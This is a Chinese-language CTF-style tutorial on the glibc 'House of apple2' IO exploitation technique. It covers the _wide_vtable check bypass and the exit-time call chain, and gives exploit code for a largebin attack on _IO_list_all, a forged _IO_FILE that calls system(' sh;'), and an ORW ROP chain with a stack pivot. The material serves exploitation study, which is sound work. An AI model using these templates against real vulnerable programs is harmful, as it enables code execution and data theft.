高效IO攻击利用学习之House of apple2超详解
字数 1346 2025-08-22 12:22:30
House of apple2 高效IO攻击利用详解
背景与概述
House of apple系列是由山海关团队Roderick开发的IO利用技术,包含apple1、apple2和apple3三种调用方式。本文重点讲解House of apple2技术。
在libc 2.35及以后版本中,glibc移除了许多关键hook(如malloc_hook、free_hook等),这使得传统的堆利用技术失效。因此,高版本下的堆利用主要依赖于对_IO_FILE结构的伪造和IO流的劫持。
利用条件
House of apple2是高版本中利用条件最少的攻击方式之一:
- 能够刷新IO流(从main函数返回或调用exit函数)
- 能够泄露libc基址和heap地址
- 只需一次largebin attack即可完成利用
核心原理
关键结构体分析
-
_IO_FILE结构体:- 包含
_wide_data成员,指向_IO_wide_data结构体 - 在2.24+版本中,vtable指针受到
IO_validate_vtable函数检查
- 包含
-
_IO_wide_data结构体:- 包含
_wide_vtable指针,指向虚表 - 关键点:
_wide_vtable指针不受IO_validate_vtable检查
- 包含
绕过vtable检查
通过伪造_IO_wide_data的_wide_vtable指针,可以绕过glibc的安全检查:
/* 伪代码:IO_validate_vtable检查逻辑 */
if (vtable不在__libc_IO_vtables段内) {
_IO_vtable_check(); // 会终止进程
}
return vtable;
调用链分析
攻击利用的调用链如下:
_IO_flush_all_lockp (exit时调用)
→ _IO_wfile_overflow
→ _IO_wdoallocbuf
→ _IO_WDOALLOCATE (被劫持的目标)
关键函数_IO_wdoallocbuf源码:
void _IO_wdoallocbuf(FILE *fp) {
if (fp->_wide_data->_IO_buf_base) return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF) // 目标劫持点
return;
_IO_wsetb(fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
利用步骤详解
1. 泄露关键地址
通过largebin泄露libc和heap地址:
add(0, 0x440)
add(1, 0x10)
add(2, 0x430)
add(3, 0x10)
dele(0)
add(4, 0x460)
show(0)
libc_base = l64() - 0x21b0e0
IO_list_all = libc_base + libc.sym['_IO_list_all']
2. Largebin Attack
劫持_IO_list_all指针:
edit(0, 0x100, p64(libc_base+0x21b0e0)*2)
dele(2)
edit(0, 0x100, p64(0)*3 + p64(IO_list_all-0x20))
add(5, 0x470) # 触发largebin attack
3. 伪造IO结构体
关键伪造点:
file_addr = heap_base + 0x700
IO_wide_data_addr = file_addr
wide_vtable_addr = file_addr + 0xe8 - 0x68
fake_io = b""
# 标准IO_FILE结构伪造
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
# ... 其他字段伪造
fake_io += p64(IO_wide_data_addr) # _IO_wide_data
fake_io = fake_io.ljust(0xc8, b'\x00')
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps']) # 合法vtable
fake_io += p64(wide_vtable_addr) # 伪造的wide_vtable
fake_io += p64(system) # 覆盖_IO_WDOALLOCATE
4. 触发执行
通过exit触发IO流刷新:
edit(2, 0x100, fake_io)
edit(1, 0x20, p64(0)*2 + b' sh;') # 准备参数
ex1t() # 触发exit
高级利用技巧
ORW利用(无one_gadget情况)
-
栈迁移技术:
- 利用magic gadget实现栈迁移:
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48] <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18] <svcudp_reply+34>: lea r13,[rbp+0x10] <svcudp_reply+48>: call QWORD PTR [rax+0x28] -
关键伪造:
# 设置栈迁移目标 fake_io += p64(orw_addr) # _IO_save_base (rdi+0x48) # ORW链构造 orw = b'./flag\x00\x00' orw += p64(rdx_rbx) + p64(0) + p64(orw_addr+0x100) # rbx=orw_addr+0x100 orw += p64(rdi) + p64(orw_addr) # filename orw += p64(rsi) + p64(0) + p64(openn) # open # ... read/write链 orw = orw.ljust(0x128, b'\x00') + p64(leave_ret) -
vtable布局:
orw_addr+0x18指向orw_addr+0x100orw_addr+0x100+0x28处放置leave; ret
绕过检查要点
-
flags检查:
_flags需要设置合适的值(如-72540026)_mode通常设置为-1
-
指针有效性检查:
_lock需要指向有效地址(如_IO_stdfile_2_lock)_wide_data必须指向有效内存区域
-
vtable检查:
- 主vtable必须指向
__libc_IO_vtables段内地址 _wide_vtable可以任意指向
- 主vtable必须指向
完整EXP示例
system("/bin/sh")版本
# 省略初始化代码...
# 泄露地址
add(0, 0x440); add(1, 0x10); add(2, 0x430); add(3, 0x10)
dele(0); add(4, 0x460); show(0)
libc_base = l64() - 0x21b0e0
system = libc_base + libc.sym['system']
# largebin attack
edit(0, 0x100, p64(libc_base+0x21b0e0)*2)
dele(2)
edit(0, 0x100, p64(0)*3 + p64(IO_list_all-0x20))
add(5, 0x470)
# 伪造IO
file_addr = heap_base + 0x700
fake_io = b""
# ... 完整IO结构伪造
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps'])
fake_io += p64(file_addr + 0xe8 - 0x68)
fake_io += p64(system)
edit(2, 0x100, fake_io)
edit(1, 0x20, p64(0)*2 + b' sh;')
ex1t()
ORW版本
# 设置栈迁移目标
fake_io = b""
fake_io += p64(orw_addr) # _IO_save_base (rdi+0x48)
# ... 其他IO字段
# ORW链
orw = b'./flag\x00\x00'
orw += p64(rdx_rbx) + p64(0) + p64(orw_addr+0x100) # rbx控制
orw += p64(rdi) + p64(orw_addr) + p64(rsi) + p64(0) + p64(openn)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(orw_addr+0x200) + p64(readd)
orw += p64(rdi) + p64(1) + p64(writee)
orw = orw.ljust(0x128, b'\x00') + p64(leave_ret)
# 触发
edit(4, 0x300, orw)
edit(2, 0x100, fake_io)
ex1t()
总结
House of apple2是一种高效的高版本IO利用技术,其核心在于:
- 利用
_IO_wide_data的vtable不受检查的特性 - 通过largebin attack劫持
_IO_list_all - 精心构造IO_FILE结构触发调用链
- 可灵活实现system执行或栈迁移ORW
该技术适用于glibc 2.35+环境,是绕过现代glibc防护的有效手段之一。